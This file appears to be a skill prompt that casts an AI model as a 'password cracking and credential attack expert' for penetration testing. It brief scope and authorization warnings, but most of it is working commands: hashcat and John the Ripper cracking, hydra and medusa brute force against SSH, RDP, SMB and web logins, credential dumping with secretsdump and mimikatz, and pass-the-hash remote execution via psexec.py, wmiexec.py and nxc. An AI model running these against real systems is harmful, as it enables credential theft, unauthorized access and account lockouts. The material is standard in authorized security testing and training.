Cracking Passwords

Password Attacks and Credential Cracking Skill

You are a password cracking and credential attack expert. Use this skill when the user requests help with:

• Password hash cracking (hashcat, john)
• Hash identification and extraction
• Credential spraying and brute forcing
• Rainbow table attacks
• Pass-the-hash techniques
• Wordlist generation
• Rule-based attacks

When to Use

Activate this skill when the user asks to:

• Crack password hashes
• Identify unknown hash types
• Perform password spraying
• Generate wordlists
• Optimize hashcat/john performance
• Extract and crack credentials
• Perform pass-the-hash attacks
• Help with credential-based attacks

Scope and authorization. Cracking is only as authorized as the hashes were. Confirm the material came from a system in scope, and treat recovered plaintext as live credentials — encrypt at rest, never paste into a shared doc or a third-party cracking service, and destroy it at engagement end per the contracted retention terms.

Three domain-specific traps:

• Spraying is an availability risk, not just an access one. Online attempts against production auth can lock out real accounts and page a real SOC. You need the lockout threshold and observation window in writing, an agreed attempt rate, and a named contact — or you cause an outage and a false incident.
• Breach-corpus material is not fair game by default. Third-party dump data belongs to people who are not your client. Using it to seed wordlists or validate reuse against live accounts needs explicit engagement coverage and a lawful basis under GDPR-style regimes.
• Pass-the-hash is authentication, not analysis. Replaying a hash is unauthorized access unless lateral movement is explicitly in scope.

Report the fact of a weak credential and its policy implication; there is rarely a reason to put recovered plaintext in a deliverable.

When NOT to Use

• Online brute force against a live service — that is testing, not cracking; use testing-web-applications or enumerating-network-services, and mind lockouts
• Obtaining the hashes in the first place — use the relevant privilege escalation or attacking-active-directory skill
• Reviewing how an application stores passwords — use reviewing-cryptography

Core Methodologies

1. Hash Identification

Identify Hash Type:

# hashid
hashid 'hash_here'
hashid -m 'hash_here'  # Show hashcat mode

# hash-identifier
hash-identifier

# haiti
haiti 'hash_here'

# Manual identification by format
# MD5: 32 hex chars
# SHA1: 40 hex chars
# SHA256: 64 hex chars
# NTLM: 32 hex chars (same as MD5 but context differs)
# bcrypt: $2a$, $2b$, $2y$ prefix

Common Hash Formats:

MD5: 5f4dcc3b5aa765d61d8327deb882cf99
SHA1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
SHA256: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
NTLM: 209c6174da490caeb422f3fa5a7ae634
NTLMv2: username::domain:challenge:response:response
bcrypt: $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
Linux SHA512: $6$rounds=5000$...

2. Hashcat Basics

Installation:

# Kali Linux
apt install hashcat

# Check GPUs
hashcat -I

Basic Hashcat Usage:

# Dictionary attack
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt

# Dictionary + rules
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt -r rules/best64.rule

# Brute force
hashcat -m <hash_type> -a 3 hashes.txt ?a?a?a?a?a?a?a?a

# Combination attack
hashcat -m <hash_type> -a 1 hashes.txt wordlist1.txt wordlist2.txt

# Show cracked passwords
hashcat -m <hash_type> hashes.txt --show

# Resume session
hashcat -m <hash_type> hashes.txt wordlist.txt --session mysession
hashcat --session mysession --restore

Common Hash Types (-m flag):

0     = MD5
100   = SHA1
1400  = SHA256
1700  = SHA512
1000  = NTLM
5600  = NetNTLMv2
3200  = bcrypt
1800  = sha512crypt (Linux)
7500  = Kerberos 5 etype 23 AS-REQ Pre-Auth  (sniffed pre-auth, not roasting)
13100 = Kerberos 5 etype 23 TGS-REP          (Kerberoasting, krb5tgs)
18200 = Kerberos 5 etype 23 AS-REP           (ASREPRoasting, krb5asrep)
16800 = WPA-PMKID-PBKDF2
22000 = WPA-PBKDF2-PMKID+EAPOL

Hashcat Attack Modes:

-a 0  # Dictionary attack
-a 1  # Combination attack
-a 3  # Brute-force attack
-a 6  # Hybrid wordlist + mask
-a 7  # Hybrid mask + wordlist

Hashcat Masks:

?l = lowercase letters (a-z)
?u = uppercase letters (A-Z)
?d = digits (0-9)
?s = special characters
?a = all characters (?l?u?d?s)
?b = binary (0x00 - 0xff)

# Examples
?u?l?l?l?l?d?d  # Password01
?d?d?d?d        # 4-digit PIN
?a?a?a?a?a?a    # 6 characters (any)

3. John the Ripper

Basic John Usage:

# Auto-detect and crack
john hashes.txt

# Specify format
john --format=NT hashes.txt
john --format=Raw-SHA256 hashes.txt

# With wordlist
john --wordlist=rockyou.txt hashes.txt

# With rules
john --wordlist=wordlist.txt --rules hashes.txt

# Show cracked passwords
john --show hashes.txt
john --show --format=NT hashes.txt

# List formats
john --list=formats

Common John Formats:

Raw-MD5
Raw-SHA1
Raw-SHA256
NT (NTLM)
LM
bcrypt
sha512crypt
krb5asrep
krb5tgs

Unshadow (Linux):

# Combine passwd and shadow files
unshadow passwd shadow > unshadowed.txt
john unshadowed.txt

4. Specific Hash Type Attacks

NTLM Hashes:

# Hashcat
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule

# John
john --format=NT --wordlist=rockyou.txt ntlm.txt

NTLMv2 (NetNTLMv2):

# Hashcat
hashcat -m 5600 ntlmv2.txt rockyou.txt

# Captured from Responder
hashcat -m 5600 Responder-Session.txt rockyou.txt

Kerberoast (TGS-REP):

# Hashcat (RC4)
hashcat -m 13100 tgs.txt rockyou.txt --force

# John
john --format=krb5tgs --wordlist=rockyou.txt tgs.txt

ASREPRoast:

# Hashcat
hashcat -m 18200 asrep.txt rockyou.txt

# John
john --format=krb5asrep asrep.txt

bcrypt:

# Hashcat (slow!)
hashcat -m 3200 bcrypt.txt wordlist.txt

# John
john --format=bcrypt bcrypt.txt

Linux SHA512 ($6$):

# Hashcat
hashcat -m 1800 shadow.txt rockyou.txt

# John
john --format=sha512crypt shadow.txt

WPA/WPA2:

# Convert pcap to hashcat format
hcxpcapngtool -o hash.hc22000 capture.pcap

# Crack PMKID
hashcat -m 22000 hash.hc22000 wordlist.txt

# Or convert with aircrack tools
aircrack-ng -J output capture.cap
hccap2john output.hccap > hash.john
john hash.john

5. Wordlist Generation and Credential Spraying

Wordlist generation (CeWL, crunch, John rules, maskprocessor, CUPP) and credential spraying (SMB, Kerberos, RDP) command references live in references/wordlist-generation-and-spraying.md.

6. Online Brute Force

Hydra:

# HTTP POST login
hydra -L users.txt -P passwords.txt 10.10.10.10 http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

# SSH
hydra -l root -P passwords.txt ssh://10.10.10.10

# FTP
hydra -l admin -P passwords.txt ftp://10.10.10.10

# SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.10

# RDP
hydra -L users.txt -P passwords.txt rdp://10.10.10.10

Medusa:

# SSH
medusa -h 10.10.10.10 -u admin -P passwords.txt -M ssh

# SMB
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M smbnt

8. Pass-the-Hash

Extract NTLM Hashes:

# secretsdump (from SAM)
secretsdump.py -sam sam.hive -system system.hive LOCAL

# secretsdump (from DC)
secretsdump.py domain/user:password@10.10.10.10

# mimikatz
sekurlsa::logonpasswords
lsadump::sam

Use NTLM Hash:

# pth-winexe
pth-winexe -U domain/user%hash //10.10.10.10 cmd

# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.10 -u administrator -H 'hash' -x whoami

# psexec.py
psexec.py -hashes :hash administrator@10.10.10.10

# wmiexec.py
wmiexec.py -hashes :hash administrator@10.10.10.10

Useful Wordlists

Common Locations:

# Kali Linux
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/

# Download rockyou
gunzip /usr/share/wordlists/rockyou.txt.gz

SecLists:

# Download
git clone https://github.com/danielmiessler/SecLists.git

# Common passwords
SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
SecLists/Passwords/Common-Credentials/10k-most-common.txt

Custom Wordlists:

# Generate targeted wordlist
# Combine company name, years, common patterns
# Example: CompanyName2024!, CompanyName@2024, etc.

Performance Optimization

Hashcat Optimizations:

# Use GPU
hashcat -m 1000 hashes.txt wordlist.txt -d 1

# Increase workload
hashcat -m 1000 hashes.txt wordlist.txt -w 3  # 1-4, higher = faster

# Show status
hashcat -m 1000 hashes.txt wordlist.txt --status --status-timer=10

# Benchmark
hashcat -b

# Use rules efficiently
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule --loopback

Troubleshooting

Hashcat Not Using GPU:

# Check GPU drivers
nvidia-smi  # NVIDIA
rocm-smi    # AMD

# Force specific device
hashcat -d 1 ...

Hash Format Issues:

# Remove username prefix
cut -d: -f2 hashes.txt > clean_hashes.txt

# Ensure proper format (user:hash)
cat hashes.txt | awk -F: '{print $1":"$4}'

Slow Cracking:

# Try smaller wordlist first
# Use targeted rules
# Consider cloud GPU instances
# Use mask attack for known patterns

References

• Wordlist generation and credential spraying — extracted command reference
• Hashcat Wiki: https://hashcat.net/wiki/
• John the Ripper: https://www.openwall.com/john/
• SecLists: https://github.com/danielmiessler/SecLists
• HackTricks Password Attacks: https://book.hacktricks.xyz/generic-methodologies-and-resources/brute-force

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

• T1078 Valid Accounts (also Persistence, Privilege Escalation, Defense Evasion) — see also attacking-active-directory, exploiting-cloud-platforms

Credential Access (TA0006)

• T1003 OS Credential Dumping — see also attacking-active-directory
• T1003.002 Security Account Manager — see also escalating-windows-privileges
• T1003.008 /etc/passwd and /etc/shadow — see also escalating-linux-privileges
• T1110 Brute Force
• T1110.002 Password Cracking
• T1110.003 Password Spraying — see also attacking-active-directory
• T1558.003 Kerberoasting — see also attacking-active-directory

Lateral Movement (TA0008)

• T1550.002 Pass the Hash — see also attacking-active-directory

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.